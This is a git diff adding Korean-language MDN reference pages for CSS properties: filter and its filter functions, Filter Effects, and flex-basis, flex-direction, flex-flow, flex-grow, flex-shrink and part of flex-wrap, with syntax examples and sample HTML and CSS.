diff --git a/files/ko/web/css/filter/index.html b/files/ko/web/css/filter/index.html new file mode 100644 index 0000000000..8020311f12 --- /dev/null +++ b/files/ko/web/css/filter/index.html @@ -0,0 +1,1138 @@ +--- +title: filter +slug: Web/CSS/filter +tags: + - CSS + - CSS Property + - Reference + - SVG + - SVG Filter + - 'recipe:css-property' +translation_of: Web/CSS/filter +--- +
{{CSSRef}}
+ +

CSS filter 속성은 흐림 효과나 색상 변형 등 그래픽 효과를 요소에 적용합니다. 보통 필터는 이미지, 배경, 테두리 렌더링을 조정하는 데 쓰입니다.

+ +

CSS 표준은 미리 정의된 효과를 내는 몇 가지 함수를 포함하고 있습니다. SVG 필터 요소를 가리키는 URL 참조를 사용하여 SVG 필터를 적용할 수도 있습니다.

+ +
{{EmbedInteractiveExample("pages/css/filter.html")}}
+ + + +

구문

+ +
/* SVG 필터를 가리키는 URL */
+filter: url("filters.svg#filter-id");
+
+/* <filter-function> 값 */
+filter: blur(5px);
+filter: brightness(0.4);
+filter: contrast(200%);
+filter: drop-shadow(16px 16px 20px blue);
+filter: grayscale(50%);
+filter: hue-rotate(90deg);
+filter: invert(75%);
+filter: opacity(25%);
+filter: saturate(30%);
+filter: sepia(60%);
+
+/* 다중 값 */
+filter: contrast(175%) brightness(3%);
+
+/* 필터 없음 */
+filter: none;
+
+/* 전역 값 */
+filter: inherit;
+filter: initial;
+filter: unset;
+ +

함수를 사용하려면 다음 구문을 사용하세요.

+ +
filter: <filter-function> [<filter-function>]* | none
+
+ +

SVG {{SVGElement("filter")}} 요소에 대한 참조를 사용하려면 다음 구문을 사용하세요.

+ +
filter: url(svg-url#element-id)
+
+ +

보간

+ +

보간의 처음과 끝 필터의 함수 목록 길이가 같고, 그 안에 {{cssxref("<url>")}} 값이 없으면, 각 필터 함수는 스스로의 특정 규칙을 따라 보간됩니다. 함수의 길이가 서로 다를 때는 긴 필터 목록에만 존재하는 필터를 짧은 필터 목록에 추가하며, 이 때 추가된 필터의 값으로는 누락 값(누락 시의 기본값)을 사용합니다. 이후 각 필터 함수는 서로 동일한 길이일 때와 같은 방식으로 보간합니다. 만약 한쪽의 필터가 none일 경우 다른 쪽 필터 목록을 모두 가져오고, 각각에 누락 값을 대입한 후 보간합니다. 이 외의 경우에는 이산적 보간을 사용합니다.

+ +

함수

+ +

filter 속성은 none 또는 아래의 함수를 하나 이상 사용해 지정할 수 있습니다. 어떤 함수의 매개변수가 유효하지 않다면, 그 함수는 none을 반환합니다. 따로 명시하지 않으면 백분율 값(34% 등)을 받는 함수는 그 백분율의 소수 표기(0.34 등)도 받을 수 있습니다.

+ +

SVG 필터

+ +

url()

+ +

SVG 필터를 가리키는 URI를 받습니다. 외부 XML 파일에 포함된 필터도 가능합니다.

+ +
filter: url(resources.svg#c1)
+ +

필터 함수

+ +

blur()

+ +

{{cssxref("filter-function/blur", "blur()")}} 함수는 주어진 이미지에 가우시안 블러를 적용합니다. radius 값은 정규 분포의 표준 편차, 즉 화면에서 혼합할 픽셀의 수를 지정하므로 값이 클수록 이미지가 흐려집니다. 보간 시 누락값은 0입니다. 매개변수는 CSS 길이로 명시되어 있지만 백분율 값은 받지 않습니다.

+ +
filter: blur(5px)
+
+ + + +
<svg style="position: absolute; top: -99999px" xmlns="http://www.w3.org/2000/svg">
+  <filter id="svgBlur" x="-5%" y="-5%" width="110%" height="110%">
+    <feGaussianBlur in="SourceGraphic" stdDeviation="5"/>
+  </filter>
+</svg>
+ +

{{EmbedLiveSample('blur_example','100%','236px','','', 'no-codepen')}}

+ +

brightness()

+ +

{{cssxref("filter-function/brightness", "brightness()")}} 함수는 주어진 이미지에 선형 배수를 적용하여 이미지를 밝거나 어둡게 표시합니다. 0%일 경우 완전히 검은색 이미지가 되고, 100%일 경우 이미지가 그대로 유지되며, 이외의 값은 효과의 선형 배수로 작용합니다. 100%보다 큰 값도 허용되며, 이때는 더 밝은 이미지가 생성됩니다. 보간 시 누락값은 1입니다.

+ +
filter: brightness(0.5)
+ +
<svg style="position: absolute; top: -99999px" xmlns="http://www.w3.org/2000/svg">
+  <filter id="brightness">
+    <feComponentTransfer>
+      <feFuncR type="linear" slope="[amount]"/>
+      <feFuncG type="linear" slope="[amount]"/>
+      <feFuncB type="linear" slope="[amount]"/>
+    </feComponentTransfer>
+  </filter>
+</svg>
+ + + +

{{EmbedLiveSample('brightness_example','100%','231px','','', 'no-codepen')}}

+ +

contrast()

+ +

{{cssxref("filter-function/constrast", "constrast()")}} 함수는 주어진 이미지의 대비를 조정합니다. 0%일 경우 완전히 회색 이미지가 되고, 100%일 경우 이미지가 그대로 유지됩니다. 100%보다 큰 값도 허용되며, 이때는 대비가 더 큰 이미지가 생성됩니다. 보간 시 누락값은 1입니다.

+ +
filter: contrast(200%)
+
+ +
<svg style="position: absolute; top: -99999px" xmlns="http://www.w3.org/2000/svg">
+  <filter id="contrast">
+    <feComponentTransfer>
+      <feFuncR type="linear" slope="[amount]" intercept="-(0.5 * [amount]) + 0.5"/>
+      <feFuncG type="linear" slope="[amount]" intercept="-(0.5 * [amount]) + 0.5"/>
+      <feFuncB type="linear" slope="[amount]" intercept="-(0.5 * [amount]) + 0.5"/>
+    </feComponentTransfer>
+  </filter>
+</svg>
+ + + +

{{EmbedLiveSample('contrast_example','100%','203px','','', 'no-codepen')}}

+ +

drop-shadow()

+ +

{{cssxref("filter-function/drop-shadow", "drop-shadow()")}} 함수는 주어진 이미지에 그림자 효과를 적용합니다. 이때 추가하는 그림자는, 주어진 이미지의 알파 마스크에 특정한 색상과 오프셋, 흐림 효과를 적용하고 이미지 밑에 합성한 것입니다. 이 함수는 inset 키워드를 제외하고 (CSS3 Backgrounds에 정의된) <shadow> 자료형의 매개변수를 그대로 받을 수 있습니다. drop-shadow()는 보다 확립된 {{cssxref("box-shadow")}} 속성과 비슷하지만, 일부 브라우저에서는 필터를 사용했을 때 성능 향상을 위해 하드웨어 가속을 사용한다는 차이점이 있습니다. <shadow> 값의 매개변수는 다음과 같습니다.

+ +
+
<offset-x> <offset-y> (필수)
+
그림자 오프셋을 설정하는 두 {{cssxref("<length>")}} 값입니다. <offset-x>는 가로 거리를 지정하며, 음수일 경우 그림자가 왼쪽에 배치됩니다. <offset-y>는 세로 거리를 지정하며, 음수일 경우 그림자가 위쪽에 배치됩니다. 가능한 단위는 {{cssxref("<length>")}}를 참조하세요.
+ 두 값이 모두 0이면 그림자가 요소 바로 밑에 배치되며, <blur-radius><spread-radius>를 설정한 경우 흐림 효과를 표시할 수 있습니다.
+
<blur-radius> (선택)
+
세 번째 {{cssxref("<length>")}} 값입니다. 클수록 흐려지는 반경이 커지고 그림자가 옅어집니다. 음수 값은 사용할 수 없습니다. 값을 지정하지 않으면 0으로 취급하여 그림자 가장자리가 날카로워집니다.
+
<color> (선택)
+
가능한 키워드 및 표기법은 {{cssxref("<color>")}}를 참조하세요. 값을 지정하지 않았을 때의 색상은 브라우저에 따라 다릅니다. 보통 {{cssxref("<color>")}} 속성의 값을 사용하지만, 현재 사파리는 투명한 그림자를 그리는 것을 주의하세요.
+
+ +
filter: drop-shadow(16px 16px 10px black)
+ +
<svg style="position: absolute; top: -999999px" xmlns="http://www.w3.org/2000/svg">
+ <filter id="drop-shadow">
+    <feGaussianBlur in="SourceAlpha" stdDeviation="[radius]"/>
+    <feOffset dx="[offset-x]" dy="[offset-y]" result="offsetblur"/>
+    <feFlood flood-color="[color]"/>
+    <feComposite in2="offsetblur" operator="in"/>
+    <feMerge>
+      <feMergeNode/>
+      <feMergeNode in="SourceGraphic"/>
+    </feMerge>
+  </filter>
+</svg>
+ + + +

{{EmbedLiveSample('shadow_example','100%','300px','','','no-codepen')}}

+ +

grayscale()

+ +

{{cssxref("filter-function/grayscale", "grayscale()")}} 함수는 주어진 이미지를 흑백으로 변환합니다. amount 값은 흑백으로 전환하는 비율을 지정합니다. 100%일 경우 완전히 흑백 이미지가 되고, 0%일 경우 이미지가 그대로 유지되며, 그 사이의 값은 효과의 선형 배수로 작용합니다. 보간 시 누락 값은 0입니다.

+ +
filter: grayscale(100%)
+ + + +

{{EmbedLiveSample('grayscale_example','100%','209px','','','no-codepen')}}

+ +

hue-rotate()

+ +

{{cssxref("filter-function/hue-rotate", "hue-rotate()")}} 함수는 주어진 이미지에 색조 회전을 적용합니다. angle 값은 입력 샘플을 조절할 색상환 각도입니다. 0deg일 경우 이미지가 그대로 유지됩니다. 보간 시 누락 값은 0입니다. 최댓값이 존재하지는 않지만, 360deg 이상의 값은 0deg360deg 사이를 순환합니다.

+ +
filter: hue-rotate(90deg)
+ + + +
<svg style="position: absolute; top: -999999px" xmlns="http://www.w3.org/2000/svg">
+  <filter id="svgHueRotate" >
+    <feColorMatrix type="hueRotate" values="[angle]" />
+  <filter />
+</svg>
+ +

{{EmbedLiveSample('huerotate_example','100%','221px','','','no-codepen')}}

+ +

invert()

+ +

{{cssxref("filter-function/invert", "invert()")}} 함수는 주어진 이미지의 색을 반전합니다. amount 값이 변형 정도를 지정합니다. 100%일 경우 색을 정반대로 바꾸고, 0%일 경우 이미지를 그대로 유지하며, 그 사이의 값은 효과의 선형 배수로 작용합니다. 보간 시 누락 값은 0입니다.

+ +
filter: invert(100%)
+ + + +

{{EmbedLiveSample('invert_example','100%','407px','','','no-codepen')}}

+ +

opacity()

+ +

{{cssxref("filter-function/opacity", "opacity()")}} 함수는 주어진 이미지의 불투명도를 설정합니다. amount 값이 변형 정도를 지정합니다. 0%일 경우 완전히 투명해지고, 100%일 경우 이미지를 그대로 유지하며, 그 사이의 값은 효과의 선형 배수로 작용합니다. 즉 주어진 이미지 샘플을 amount와 곱하는 것과 같습니다. 보간 시 누락 값은 1입니다. 이 함수는 보다 확립된 {{cssxref("opacity")}} 속성과 비슷하지만, 일부 브라우저에서는 필터를 사용했을 때 성능 향상을 위해 하드웨어 가속을 사용한다는 차이점이 있습니다.

+ +
filter: opacity(50%)
+ + + +

{{EmbedLiveSample('opacity_example','100%','210px','','','no-codepen')}}

+ +

saturate()

+ +

{{cssxref("filter-function/saturate", "saturate()")}} 함수는 주어진 이미지의 채도를 변경합니다. amount 값이 변형 정도를 지정합니다. 0%일 경우 완전히 무채색이 되고, 100%일 경우 이미지를 그대로 유지하며, 그 사이의 값은 효과의 선형 배수로 작용합니다. 100%보다 큰 값도 허용되며, 이때는 원본보다 채도가 큰 이미지를 생성합니다. 보간 시 누락 값은 1입니다.

+ +
filter: saturate(200%)
+ + + +

{{EmbedLiveSample('saturate_example','100%','332px','','','no-codepen')}}

+ +

sepia()

+ +

{{cssxref("filter-function/sepia", "sepia()")}} 함수는 주어진 이미지를 세피아로 변환합니다. amount 값이 변형 정도를 지정합니다. 100%일 경우 완전히 세피아가 되고, 0%에서는 이미지를 그대로 유지하며, 그 사이의 값은 효과의 선형 배수로 작용합니다. 보간 시 누락 값은 0입니다.

+ +
filter: sepia(100%)
+ + + +

{{EmbedLiveSample('sepia_example','100%','229px','','','no-codepen')}}

+ +

함수 조합

+ +

원하는 만큼 함수를 조합해서 그려지는 모습을 바꿀 수 있습니다. 다음 에제는 이미지의 대비와 밝기를 동시에 높입니다.

+ +
filter: contrast(175%) brightness(103%)
+ + + +

{{EmbedLiveSample('combination_example','100%','209px','','','no-codepen')}}

+ +

형식 정의

+ +

{{cssinfo}}

+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

필터 함수 적용하기

+ +

미리 정의된 함수는 다음 예제처럼 사용할 수 있습니다. 각 함수 문서에서 더 자세한 내용을 살펴보세요.

+ +
.mydiv {
+  filter: grayscale(50%);
+}
+
+/* 모든 이미지를 50% 흑백 처리하고 10px 흐리게 */
+img {
+  filter: grayscale(0.5) blur(10px);
+}
+ +

SVG 필터 적용하기

+ +

URL 함수와 SVG 리소스를 사용하는 방법은 다음과 같습니다.

+ +
.target {
+  filter: url(#c1);
+}
+
+.mydiv {
+  filter: url(commonfilters.xml#large-blur);
+}
+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태비고
{{ SpecName('Filters 1.0', '#FilterProperty', 'filter') }}{{ Spec2('Filters 1.0') }}초기 정의
+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.filter")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/filter_effects/index.html b/files/ko/web/css/filter_effects/index.html new file mode 100644 index 0000000000..dfd022f08e --- /dev/null +++ b/files/ko/web/css/filter_effects/index.html @@ -0,0 +1,70 @@ +--- +title: Filter Effects +slug: Web/CSS/Filter_Effects +tags: + - CSS + - Filter Effects + - Guide + - Overview + - Reference +translation_of: Web/CSS/Filter_Effects +--- +
{{CSSRef}}
+ +

Filter Effects는 요소의 렌더링을 문서에 표시하기 전에 전처리하는 방법을 정의하는 CSS 모듈입니다.

+ +

참고서

+ +

속성

+ +
+
    +
  • {{cssxref("backdrop-filter")}}
  • +
  • {{cssxref("filter")}}
  • +
+
+ +

자료형

+ +
+
    +
  • {{cssxref("<filter-function>")}}
  • +
+
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('Filters 1.0', '#FilterProperty', 'filter') }}{{ Spec2('Filters 1.0') }}Initial definition.
+ +

브라우저 호환성

+ +

backdrop-filter 속성

+ +
+ + +

{{Compat("css.properties.backdrop-filter")}}

+ +

filter 속성

+ +
+ + +

{{Compat("css.properties.filter")}}

+
+
diff --git a/files/ko/web/css/flex-basis/index.html b/files/ko/web/css/flex-basis/index.html new file mode 100644 index 0000000000..6e162086ad --- /dev/null +++ b/files/ko/web/css/flex-basis/index.html @@ -0,0 +1,209 @@ +--- +title: flex-basis +slug: Web/CSS/flex-basis +tags: + - CSS + - CSS Flexible Boxes + - CSS Property + - Reference +translation_of: Web/CSS/flex-basis +--- +
{{CSSRef}}
+ +

flex-basis CSS 속성은 플렉스 아이템의 초기 크기를 지정합니다. {{cssxref("box-sizing")}}을 따로 지정하지 않는다면 콘텐츠 박스의 크기를 변경합니다.

+ +
{{EmbedInteractiveExample("pages/css/flex-basis.html")}}
+ + + +
+

참고: auto 값을 가지지 않은 flex-basis와 {{cssxref("width")}}({{cssxref("flex-direction")}}: column인 경우 {{cssxref("height")}}) 값을 동시에 적용한 경우 flex-basis가 우선합니다.

+
+ +

구문

+ +
/* <'width'> 지정 */
+flex-basis: 10em;
+flex-basis: 3px;
+flex-basis: auto;
+
+/* 원본 크기 키워드 */
+flex-basis: fill;
+flex-basis: max-content;
+flex-basis: min-content;
+flex-basis: fit-content;
+
+/* 플렉스 아이템 내용 크기에 따라 조절 */
+flex-basis: content;
+
+/* 전역 값 */
+flex-basis: inherit;
+flex-basis: initial;
+flex-basis: unset;
+
+ +

flex-basis 속성값은 content 키워드를 사용하거나, <'width'>를 나타내는 단위를 사용합니다.

+ +

+ +
+
<'width'>
+
{{cssxref("<length>")}}, 플렉스 컨테이너의 크기에 상대적인 {{cssxref("<percentage>")}}, auto 키워드 중 하나. 음수 값은 유효하지 않습니다.
+
content
+
플렉스 아이템의 콘텐츠 크기에 따라 자동으로 크기가 변합니다.
+
+
참고: content 키워드는 Flexible Box Layout의 첫 배포에 포함되지 않아, 일부 오래 된 구현체에서는 지원하지 않을 수 있습니다. flex-basis와 주 크기({{cssxref("width")}}, {{cssxref("height")}}) 속성을 동시에 auto로 설정하면 동일한 효과를 볼 수 있습니다.
+ +
+

역사:

+ +
    +
  • 원래 flex-basis: auto의 뜻은 자신의 width 또는 height 속성의 값을 사용하라는 것이었습니다.
  • +
  • 그 후 flex-basis: auto는 자동 크기조절로 바뀌고, 기존의 automain-size로 바뀌었습니다. bug 1032922에서 구현 기록을 볼 수 있습니다.
  • +
  • 그러나 위의 변경점은 bug 1093316에서 되돌려져 auto 가 다시 width / height 속성을 가리키게 됐고, 대신 새로운 content 키워드가 자동 크기조절을 맡게 됐습니다. ({{bug("1105111")}}에서 볼 수 있습니다)
  • +
+
+
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

HTML

+ +
<ul class="container">
+  <li class="flex flex1">1: flex-basis test</li>
+  <li class="flex flex2">2: flex-basis test</li>
+  <li class="flex flex3">3: flex-basis test</li>
+  <li class="flex flex4">4: flex-basis test</li>
+  <li class="flex flex5">5: flex-basis test</li>
+</ul>
+
+<ul class="container">
+  <li class="flex flex6">6: flex-basis test</li>
+</ul>
+
+ +

CSS

+ +
.container {
+  font-family: arial, sans-serif;
+  margin: 0;
+  padding: 0;
+  list-style-type: none;
+  display: flex;
+  flex-wrap: wrap;
+}
+
+.flex {
+  background: #6AB6D8;
+  padding: 10px;
+  margin-bottom: 50px;
+  border: 3px solid #2E86BB;
+  color: white;
+  font-size: 20px;
+  text-align: center;
+  position: relative;
+}
+
+.flex:after {
+  position: absolute;
+  z-index: 1;
+  left: 0;
+  top: 100%;
+  margin-top: 10px;
+  width: 100%;
+  color: #333;
+  font-size: 18px;
+}
+
+.flex1 {
+  flex-basis: auto;
+}
+
+.flex1:after {
+  content: 'auto';
+}
+
+.flex2 {
+  flex-basis: max-content;
+}
+
+.flex2:after {
+  content: 'max-content';
+}
+
+.flex3 {
+  flex-basis: min-content;
+}
+
+.flex3:after {
+  content: 'min-content';
+}
+
+.flex4 {
+  flex-basis: fit-content;
+}
+
+.flex4:after {
+  content: 'fit-content';
+}
+
+.flex5 {
+   flex-basis: content;
+}
+
+.flex5:after {
+  content: 'content';
+}
+
+.flex6 {
+  flex-basis: fill;
+}
+
+.flex6:after {
+  content: 'fill';
+}
+
+ +

결과

+ +

{{EmbedLiveSample('예제', '860', '360', '')}}

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Flexbox', '#propdef-flex-basis', 'flex-basis')}}{{Spec2('CSS3 Flexbox')}}Initial definition
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.flex-basis")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/flex-direction/index.html b/files/ko/web/css/flex-direction/index.html new file mode 100644 index 0000000000..9d3ae04a49 --- /dev/null +++ b/files/ko/web/css/flex-direction/index.html @@ -0,0 +1,155 @@ +--- +title: flex-direction +slug: Web/CSS/flex-direction +tags: + - CSS + - CSS Flexible Boxes + - CSS Property + - Reference +translation_of: Web/CSS/flex-direction +--- +
{{CSSRef}}
+ +

flex-direction CSS 속성은 플렉스 컨테이너 내의 아이템을 배치할 때 사용할 주축 및 방향(정방향, 역방향)을 지정합니다.

+ +
{{EmbedInteractiveExample("pages/css/flex-direction.html")}}
+ + + +

rowrow-reverse의 경우 플렉스 컨테이너의 방향성에 영향을 받음을 참고하세요. 컨테이너의 dir 값이 ltr이라면 row는 왼쪽부터 시작하는 가로축을, row-reverse는 오른쪽부터 시작하는 가로축을 나타냅니다. 그러나 dir 값이 rtl이라면 row가 오른쪽부터 시작하는 가로축을, row-reverse가 왼쪽부터 시작하는 가로축을 나타냅니다.

+ +

구문

+ +
/* 한 줄의 글을 작성하는 방향대로 */
+flex-direction: row;
+
+/* <row>처럼, 대신 역방향 */
+flex-direction: row-reverse;
+
+/* 글 여러 줄이 쌓이는 방향대로 */
+flex-direction: column;
+
+/* <column>처럼, 대신 역방향 */
+flex-direction: column-reverse;
+
+/* 전역 값 */
+flex-direction: inherit;
+flex-direction: initial;
+flex-direction: unset;
+
+ +

+ +
+
row
+
플렉스 컨테이너의 주축이 글의 작성 방향과 동일합니다. 주축의 시작점과 끝점이 콘텐츠 방향과 동일합니다.
+
row-reverse
+
row와 동일하게 동작하지만 시작점과 끝점이 반대에 위치합니다.
+
column
+
플렉스 컨테이너의 주축이 블록 축과 동일합니다. 주축의 시작점과 끝점이, 글 작성 모드의 이전 지점 및 이후 지점과 동일합니다.
+
column-reverse
+
column과 동일하게 동작하지만 시작점과 끝점이 반대에 위치합니다.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

HTML

+ +
<h4>This is a Column-Reverse</h4>
+<div id="content">
+    <div class="box" style="background-color:red;">A</div>
+    <div class="box" style="background-color:lightblue;">B</div>
+    <div class="box" style="background-color:yellow;">C</div>
+</div>
+<h4>This is a Row-Reverse</h4>
+<div id="content1">
+    <div class="box1" style="background-color:red;">A</div>
+    <div class="box1" style="background-color:lightblue;">B</div>
+    <div class="box1" style="background-color:yellow;">C</div>
+</div>
+
+ +

CSS

+ +
#content {
+  width: 200px;
+  height: 200px;
+  border: 1px solid #c3c3c3;
+  display: -webkit-flex;
+  -webkit-flex-direction: column-reverse;
+  display: flex;
+  flex-direction: column-reverse;
+}
+
+.box {
+  width: 50px;
+  height: 50px;
+}
+
+#content1 {
+  width: 200px;
+  height: 200px;
+  border: 1px solid #c3c3c3;
+  display: -webkit-flex;
+  -webkit-flex-direction: row-reverse;
+  display: flex;
+  flex-direction: row-reverse;
+}
+
+.box1 {
+  width: 50px;
+  height: 50px;
+}
+ +

결과

+ +

{{ EmbedLiveSample('예제', '', '300') }}

+ +

접근성 고려사항

+ +

flex-direction 속성에 row-reverse 또는 column-reverse 값을 사용하면 DOM 구조와 그 시각적 표현에 차이가 생깁니다. 이는 낮은 시력으로 스크린 리더 등 접근성 기술을 사용해 이동하는 사용자의 경험에 부정적인 영향을 줄 수 있습니다. 시각적(CSS) 순서가 중요하다고 해도, 스크린 리더 사용자는 그 순서가 어떻게 되는지 알 수 없습니다.

+ + + +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Flexbox', '#flex-direction', 'flex-direction')}}{{Spec2('CSS3 Flexbox')}}Initial definition
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.flex-direction")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/flex-flow/index.html b/files/ko/web/css/flex-flow/index.html new file mode 100644 index 0000000000..33d68c5188 --- /dev/null +++ b/files/ko/web/css/flex-flow/index.html @@ -0,0 +1,91 @@ +--- +title: flex-flow +slug: Web/CSS/flex-flow +tags: + - CSS + - CSS Flexible Boxes + - CSS Property + - Reference +translation_of: Web/CSS/flex-flow +--- +
{{CSSRef}}
+ +

flex-flow CSS 속성은 {{cssxref("flex-direction")}}, {{cssxref("flex-wrap")}} 속성의 단축 속성입니다.

+ +
{{EmbedInteractiveExample("pages/css/flex-flow.html")}}
+ + + +

구문

+ +
/* flex-flow: <'flex-direction'> */
+flex-flow: row;
+flex-flow: row-reverse;
+flex-flow: column;
+flex-flow: column-reverse;
+
+/* flex-flow: <'flex-wrap'> */
+flex-flow: nowrap;
+flex-flow: wrap;
+flex-flow: wrap-reverse;
+
+/* flex-flow: <'flex-direction'>과 <'flex-wrap'> */
+flex-flow: row nowrap;
+flex-flow: column wrap;
+flex-flow: column-reverse wrap-reverse;
+
+/* 전역 값 */
+flex-flow: inherit;
+flex-flow: initial;
+flex-flow: unset;
+
+ +

+ +

자세한 내용은 {{cssxref("flex-direction")}}과 {{cssxref("flex-wrap")}} 속성을 참고하세요.

+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +
element {
+  /* Main-axis is the block direction with reversed main-start and main-end. Flex items are laid out in multiple lines */
+  flex-flow: column-reverse wrap;
+}
+
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Flexbox','#flex-flow-property','flex-flow') }}{{ Spec2('CSS3 Flexbox') }}Initial definition
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.flex-flow")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/flex-grow/index.html b/files/ko/web/css/flex-grow/index.html new file mode 100644 index 0000000000..544fe486cc --- /dev/null +++ b/files/ko/web/css/flex-grow/index.html @@ -0,0 +1,123 @@ +--- +title: flex-grow +slug: Web/CSS/flex-grow +tags: + - CSS + - CSS Flexible Boxes + - CSS Property + - NeedsContent + - Reference +translation_of: Web/CSS/flex-grow +--- +
{{CSSRef}}
+ +

flex-grow CSS property 는 flex-item 요소가, flex-container 요소 내부에서 할당 가능한 공간의 정도를 선언합니다. 만약 형제 요소로 렌더링 된 모든 flex-item 요소들이 동일한 flex-grow 값을 갖는다면, flex-container 내부에서 동일한 공간을 할당받습니다. 하지만 flex-grow 값으로 다른 소수값을 지정한다면, 그에 따라 다른 공간값을 나누어 할당받게 됩니다.

+ +

보통 flex-grow를 사용할땐, {{ Cssxref("flex-shrink") }}, {{ Cssxref("flex-basis") }} 속성을 함께 사용합니다. 그리고 일반적으로는 모든 값이 설정되었음을 보장하기 위하여 {{ Cssxref("flex") }} 속성을 이용해 축약형으로 사용합니다.

+ +
{{EmbedInteractiveExample("pages/css/flex-grow.html")}}
+ + + +

Syntax

+ +
/* <number> values */
+flex-grow: 3;
+flex-grow: 0.6;
+
+/* Global values */
+flex-grow: inherit;
+flex-grow: initial;
+flex-grow: unset;
+
+ +

flex-grow 속성에 대한 값은 <number> 단독으로 표현합니다.

+ +

Values

+ +
+
<number>
+
관련 링크를 참고하세요. {{cssxref("<number>")}}. 단, 음수값은 허용되지 않습니다.
+
+ +

Formal syntax

+ +
{{csssyntax}}
+ +

Example

+ +

HTML

+ +
+
<h4>This is a Flex-Grow</h4>
+<h5>A,B,C and F are flex-grow:1 . D and E are flex-grow:2 .</h5>
+<div id="content">
+  <div class="box" style="background-color:red;">A</div>
+  <div class="box" style="background-color:lightblue;">B</div>
+  <div class="box" style="background-color:yellow;">C</div>
+  <div class="box1" style="background-color:brown;">D</div>
+  <div class="box1" style="background-color:lightgreen;">E</div>
+  <div class="box" style="background-color:brown;">F</div>
+</div>
+
+ +

CSS

+ +
#content {
+  display: flex;
+
+  justify-content: space-around;
+  flex-flow: row wrap;
+  align-items: stretch;
+}
+
+.box {
+  flex-grow: 1;
+  border: 3px solid rgba(0,0,0,.2);
+}
+
+.box1 {
+  flex-grow: 2;
+  border: 3px solid rgba(0,0,0,.2);
+}
+
+
+ +

Result

+ +

{{EmbedLiveSample('Example', '700px', '300px', '', 'Web/CSS/flex-grow')}}

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Flexbox','#flex-grow-property','flex-grow')}}{{Spec2('CSS3 Flexbox')}}Initial definition
+ +

{{cssinfo}}

+ +

Browser compatibility

+ + + +

{{Compat("css.properties.flex-grow")}}

+ +

See also

+ + diff --git a/files/ko/web/css/flex-shrink/index.html b/files/ko/web/css/flex-shrink/index.html new file mode 100644 index 0000000000..14a6f5427f --- /dev/null +++ b/files/ko/web/css/flex-shrink/index.html @@ -0,0 +1,123 @@ +--- +title: flex-shrink +slug: Web/CSS/flex-shrink +tags: + - CSS + - CSS Flexible Boxes + - CSS Property + - NeedsContent + - Reference +translation_of: Web/CSS/flex-shrink +--- +
{{CSSRef}}
+ +

flex-shrink CSS property는 flex-item 요소의 flex-shrink 값을 설정하는 속성입니다. 만약 flex-item 요소의 크기가 flex-container 요소의 크기보다 클 때 flex-shrink 속성을 사용하는데, 설정된 숫자값에 따라 flex-container 요소 내부에서 flex-item 요소의 크기가 축소됩니다.

+ +
{{EmbedInteractiveExample("pages/css/flex-shrink.html")}}
+ + + +

Syntax

+ +
/* <number> values */
+flex-shrink: 2;
+flex-shrink: 0.6;
+
+/* Global values */
+flex-shrink: inherit;
+flex-shrink: initial;
+flex-shrink: unset;
+
+ +

The flex-shrink property is specified as a single <number>.

+ +

Values

+ +
+
<number>
+
관련 링크를 참고하세요{{cssxref("<number>")}}. 단, 음수값은 허용되지 않습니다.
+
+ +

Formal syntax

+ +
{{csssyntax}}
+
+ +

Example

+ +

HTML

+ +
+
<p>The width of content is 500px; the flex-basis of the flex items is 120px.</p>
+<p>A, B, C have flex-shrink:1 set. D and E have flex-shrink:2 set</p>
+<p>The width of D and E is less than the others.</p>
+<div id="content">
+  <div class="box" style="background-color:red;">A</div>
+  <div class="box" style="background-color:lightblue;">B</div>
+  <div class="box" style="background-color:yellow;">C</div>
+  <div class="box1" style="background-color:brown;">D</div>
+  <div class="box1" style="background-color:lightgreen;">E</div>
+</div>
+
+ +

CSS

+ +
#content {
+  display: flex;
+  width: 500px;
+}
+
+#content div {
+  flex-basis: 120px;
+  border: 3px solid rgba(0,0,0,.2);
+}
+
+.box {
+  flex-shrink: 1;
+}
+
+.box1 {
+  flex-shrink: 2;
+}
+
+
+ +

Result

+ +

{{ EmbedLiveSample('Example', 500, 300) }}

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Flexbox', '#flex-shrink', 'flex-shrink') }}{{ Spec2('CSS3 Flexbox') }}Initial definition
+ +

{{cssinfo}}

+ +

Browser compatibility

+ + + +

{{Compat("css.properties.flex-shrink")}}

+ +

See also

+ + + +

diff --git a/files/ko/web/css/flex-wrap/index.html b/files/ko/web/css/flex-wrap/index.html new file mode 100644 index 0000000000..7ee27b4386 --- /dev/null +++ b/files/ko/web/css/flex-wrap/index.html @@ -0,0 +1,159 @@ +--- +title: flex-wrap +slug: Web/CSS/flex-wrap +tags: + - CSS + - CSS Flexible Boxes + - CSS Property + - Reference +translation_of: Web/CSS/flex-wrap +--- +
{{ CSSRef}}
+ +

CSS flex-wrap property는 flex-item 요소들이 강제로 한줄에 배치되게 할 것인지, 또는 가능한 영역 내에서 벗어나지 않고 여러행으로 나누어 표현 할 것인지 결정하는 속성입니다. 만약 영역 내에서 벗어나지 못하게 설정한다면, 동시에 요소의 방향 축을 결정할 수 있습니다.

+ +
{{EmbedInteractiveExample("pages/css/flex-wrap.html")}}
+ + + +

여기를 참고하면 관련된 더욱 자세한 정보를 얻을 수 있습니다. Using CSS flexible boxes

+ +

Syntax

+ +
flex-wrap: nowrap; /* Default value */
+flex-wrap: wrap;
+flex-wrap: wrap-reverse;
+
+/* Global values */
+flex-wrap: inherit;
